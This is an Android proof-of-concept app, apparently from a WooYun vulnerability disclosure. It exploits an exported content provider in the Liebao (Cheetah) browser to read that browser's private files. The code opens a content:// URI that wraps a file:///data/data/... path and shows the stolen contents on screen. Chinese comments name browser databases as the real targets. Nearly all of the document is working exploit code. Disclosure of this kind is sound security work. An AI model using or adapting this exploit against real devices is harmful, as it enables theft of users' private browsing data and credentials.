WooYun.org

package com.example.x3xtxt.demo.lb;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
import android.widget.Toast;
public class MainActivity extends Activity {
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		
		// 窃取目标文件路径，作为演示，就选小一点的文件：shared_prefs/bids.xml
		// 实际的攻击中，我们对databases目录下的记载有敏感信息的文件更感兴趣，比如：databases/browser.db之类的。
		String sensitive_file_path = "content://com.ijinshan.htmlfileprovider/file:///data/data/com.ijinshan.browser/shared_prefs/bids.xml";
		ContentProviderFileOperations(sensitive_file_path);
	}
	@Override
	public boolean onCreateOptionsMenu(Menu menu) {
		// Inflate the menu; this adds items to the action bar if it is present.
		getMenuInflater().inflate(R.menu.main, menu);
		return true;
	}
	
	public void ContentProviderFileOperations(String filepath){
		try{
			InputStream in = getContentResolver().openInputStream(Uri.parse(filepath));
			ByteArrayOutputStream out = new ByteArrayOutputStream();
			byte[] buffer = new byte[1024];
			int n = in.read(buffer);
			while(n>0){
				out.write(buffer, 0, n);
				n = in.read(buffer);
				Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();
			}
		}catch(Exception e){
			debugInfo(e.getMessage());
		}
	}
	
	public void debugInfo(String msg){
		Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
	}
}